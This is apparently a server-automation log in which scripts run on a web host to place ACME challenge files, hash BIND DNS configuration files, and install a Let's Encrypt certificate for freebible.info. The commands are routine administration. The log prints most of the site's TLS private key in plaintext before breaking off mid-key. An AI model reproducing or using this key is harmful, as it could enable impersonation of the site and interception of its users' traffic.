2026-01-08 06:00:03:
chmod 755 /tmp/pkp728449; /tmp/pkp728449; rm /tmp/pkp728449
2026-01-08 06:00:03:
1
2026-01-08 06:00:04: Establishing a connection
2026-01-08 06:00:04:
PUT: /tmp/pkp172071
#!/bin/bash
mkdir -p "/var/www/biblealive_www/.well-known/acme-challenge/"
cd "/var/www/biblealive_www/.well-known/acme-challenge/"
cat > 5AARliGL8dIrDGBxMht6xeKRq5H7svLk0s9BP29dCUw <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
5AARliGL8dIrDGBxMht6xeKRq5H7svLk0s9BP29dCUw.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 5AARliGL8dIrDGBxMht6xeKRq5H7svLk0s9BP29dCUw
2026-01-08 06:00:04:
chmod 755 /tmp/pkp172071; /tmp/pkp172071; rm /tmp/pkp172071
2026-01-08 06:00:04:
2026-01-08 13:12:45: Establishing a connection
2026-01-08 13:12:51: Establishing a connection
2026-01-08 13:12:51:
PUT: /tmp/pkp881433
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2026-01-08 13:12:52:
runuser -l bind -s /bin/bash -c '/tmp/pkp881433; rm /tmp/pkp881433'
2026-01-08 13:12:52:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2026-01-08 13:13:12: Establishing a connection
2026-01-08 13:13:12: Establishing a connection
2026-01-08 13:13:13:
PUT: /tmp/pkp708769
#!/bin/bash
if [ -d "/var/www/freebible_www/.well-known" ]; then
echo 1
else
echo 0
fi
2026-01-08 13:13:13:
chmod 755 /tmp/pkp708769; /tmp/pkp708769; rm /tmp/pkp708769
2026-01-08 13:13:13:
1
2026-01-08 13:13:14: Establishing a connection
2026-01-08 13:13:14:
PUT: /tmp/pkp918341
#!/bin/bash
mkdir -p "/var/www/freebible_www/.well-known/acme-challenge/"
cd "/var/www/freebible_www/.well-known/acme-challenge/"
cat > dD7gPJ_OmkNSmDGWwCRcL71kooP1jqbPYlfaw9xEkZU <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
dD7gPJ_OmkNSmDGWwCRcL71kooP1jqbPYlfaw9xEkZU.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 dD7gPJ_OmkNSmDGWwCRcL71kooP1jqbPYlfaw9xEkZU
cat > LO5p03o88QgFQxx_D0mW0-_dEZX06qejwSu0ZAeH4qg <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
LO5p03o88QgFQxx_D0mW0-_dEZX06qejwSu0ZAeH4qg.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 LO5p03o88QgFQxx_D0mW0-_dEZX06qejwSu0ZAeH4qg
2026-01-08 13:13:14:
chmod 755 /tmp/pkp918341; /tmp/pkp918341; rm /tmp/pkp918341
2026-01-08 13:13:14:
2026-01-08 13:13:24: Establishing a connection
2026-01-08 13:13:24:
PUT: /tmp/pkp721092
#!/bin/bash
mkdir -p "/var/www/freebible_www/.well-known/acme-challenge/"
cd "/var/www/freebible_www/.well-known/acme-challenge/"
rm dD7gPJ_OmkNSmDGWwCRcL71kooP1jqbPYlfaw9xEkZU
rm LO5p03o88QgFQxx_D0mW0-_dEZX06qejwSu0ZAeH4qg
2026-01-08 13:13:25:
chmod 755 /tmp/pkp721092; /tmp/pkp721092; rm /tmp/pkp721092
2026-01-08 13:13:25:
2026-01-08 13:13:25: Establishing a connection
2026-01-08 13:13:25:
PUT: /tmp/pkp491043
#!/bin/bash
temp_file=$(mktemp)
TARGET=25d244ad83fcb448bd222b7039653b35.crt
cat > $temp_file <<'endmsg'
43:37:5a:8e:f7:d8:08:03:55:d7:d8:a8:1b:ad:cf:fa
-----BEGIN CERTIFICATE-----
MIIFFDCCA/ygAwIBAgISBc6SokQdTtjuqewbXAzc8E2yMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMTA4MTIxNDU0WhcNMjYwNDA4MTIxNDUzWjAZMRcwFQYDVQQD
Ew5mcmVlYmlibGUuaW5mbzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AKNOLxsQfvOajkHdQH4vCDjK+zOapHgWQD4bhU9Q1EbrkCesUAuacjLSh7BWFRLp
Z3o2EoVITTYY0DR3Ku1BhviDuF9pfP6gRXKEJnHiV86FRQDsqQVnlv+uY8e+tEAB
w6i+OSLgFzi6nPA9BzmJmgRnlOUHY8Ut9SDKQT4UY5CeSxbXeCncpb3PR2AM4rU8
hq/GV/qqjU9hGk3aFmP0fvIXuDDmlWWXShOohKnMAhy+PIhf5e8pUAMGzWQvB6FS
782kmdDZwosGectaTy5rCH9i4yZPyaEEMqbxnf9z+oPtUYm7D7BWg7SvmdH2W494
kRw1yzzlPxzkMnZznigIzC8CAwEAAaOCAjowggI2MA4GA1UdDwEB/wQEAwIFoDAd
BgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQU451S89QOkl3w/+rNREzn+u9tqHEwHwYDVR0jBBgwFoAU56ufDywzoFPT
Xk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEzLmkubGVuY3Iub3JnLzAtBgNVHREEJjAkgg5mcmVlYmlibGUuaW5mb4ISd3d3
LmZyZWViaWJsZS5pbmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUw
I6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvNTEuY3JsMIIBDAYKKwYBBAHW
eQIEAgSB/QSB+gD4AH4AcX6V88I4im2x44RJPTHhWqliCHYtQgDgBQzQZ7WmYeIA
AAGbnb2OVAAIAAAFAAZePc8EAwBHMEUCIQDdGSQuQYkXTAPwv250DNMSz78Hzl6z
8+0/UHTN/rREAwIgC+VI7YE9fXM6E075rfZNn1diOpKoe0gDw84TllVfyMIAdgAO
V5S8866pPjMbLJkHs/eQ35vCPXEyJd0hqSWsYcVOIQAAAZudvY4aAAAEAwBHMEUC
IBK6CYQInX2SLvES8/EsjpsH3uHOE2XXjKF2rb+R/fUzAiEA39qirhuIm6LOAlnl
dQH15iJ4cdZ8hVzVTv9o8i+By2YwDQYJKoZIhvcNAQELBQADggEBACjjFN5+94n9
vdhdEYlqufELAwa6jP/ZvJxTJR9xX/6vnDqPAGJ22yqDDN797Vj5cYD3JoLi7+h2
R1/qZpen5II7HOuozj5cPKyAQ8aOdduPHHqK7TYle0gC15cXV8v3nSeNj3YFqntN
jQMnRqett2qGmKvoaEgd3cu9JCQ+op9/k2LcFwLc3Vv9hE6qj7Y8w2xtsrwZ0fES
TswDDr3wLavtrkUvZSktdOtTWxWnfryT7yBkJhwP6IyyfXaP6uY5L9mtX7xMvgZJ
Cvh13nBjZ7dgi7jMVnYJRFzNFavw+c3bhdkiKHMuRcJ0ysgpbUDI5hVS9Fx35Njr
kUBQfbJo7tc=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCjTi8bEH7zmo5B
3UB+Lwg4yvszmqR4FkA+G4VPUNRG65AnrFALmnIy0oewVhUS6Wd6NhKFSE02GNA0
dyrtQYb4g7hfaXz+oEVyhCZx4lfOhUUA7KkFZ5b/rmPHvrRAAcOovjki4Bc4upzw
PQc5iZoEZ5TlB2PFLfUgykE+FGOQnksW13gp3KW9z0dgDOK1PIavxlf6qo1PYRpN
2hZj9H7yF7gw5pVll0oTqISpzAIcvjyIX+XvKVADBs1kLwehUu/NpJnQ2cKLBnnL
Wk8uawh/YuMmT8mhBDKm8Z3/c/qD7VGJuw+wVoO0r5nR9luPeJEcNcs85T8c5DJ2
c54oCMwvAgMBAAECggEABvMb1BYGoQ1RwoHM7dHIksoomJCbMTUZNMttB+wTrJT3
xIhzu5quA3WsKpfvO6fNLIlCjoN+LbAupBzyKbihKtBIN19A34Eok3AGRtBwFizb
u+dWZhF7fpQIUQbPmu24SuUVf2Nz+YkPhrXCKfOuJ0PVNU30M/75sJSK5D5v4kaY
x6VgIsL9hETgKcuZ9Fppnrm5BqYSzWfrScMEVRvbRYyMnleSYr95EwOPrqSkV8B+
1Sn7srx2Z2f3ZAw8hODX35qCvitLcpgsAUnTaw5/r+tINgyKBfsVRPkcm0iuMgxR
0f1A4S2AYH1bMXA5Alwk/dyxG2DXXf3ocyGwugQO8QKBgQDgFIeyVjgUlT8gyKnX
D3SJnRj98qojZkdpPiYEwlZxuU8AApNrMNRxhO4cB86swpUz4sfF+27VHj27mRIj
Giij25i8+EJe2BXnjkXLgbhQGovfJWjlE6mG/xklz4yd7oAls/siXDWNm2S64YTM
Augq0Qev64n33yB9YqsEvpIYNwKBgQC6kWWL/Kk5BFy1iYxfo4tpAR0seEAqcLLS
9flz7Qz9ZZf2yohV9c6E/BUf00AoP19pPYWwFjn2XLhKbRAseuyLmy2zeoEHL4hV
5A9mrhUkTLPBs4vsTngFJRpSJmxR9gh9lzwJvmK5Js9aDCAxx2MGAZggRJpE3rzI
WXBPo/P/yQKBgQCSDU+U8ZWD9PM8jw4EWtJ+j6KmgvBaOmP5OMTW/UQSw9G2E/e6
Og1+IEKCiqQu/nT5aKsFZCiNSDS8fbzQnFA43PzkznuUDgvY7WaYimhz7ZmVTHDe
Pr6UetkNSAZDOhzUdkcN0kQllE9Hb4562rowjiYQh9lZclle4FzPrtbSaQKBgA/i
iU7d+FqOcIZUa8tI1XnfSmia5Hu4lME5iD/CkzSQDdxJakpHX4obHIFVL0U+ABWp
01Qm0FCVnGtZ1eKzpKhOUhnR+GJwPZ9yh40qjUpF7Zg0fVllZPqrKg6MjvR7ikWH
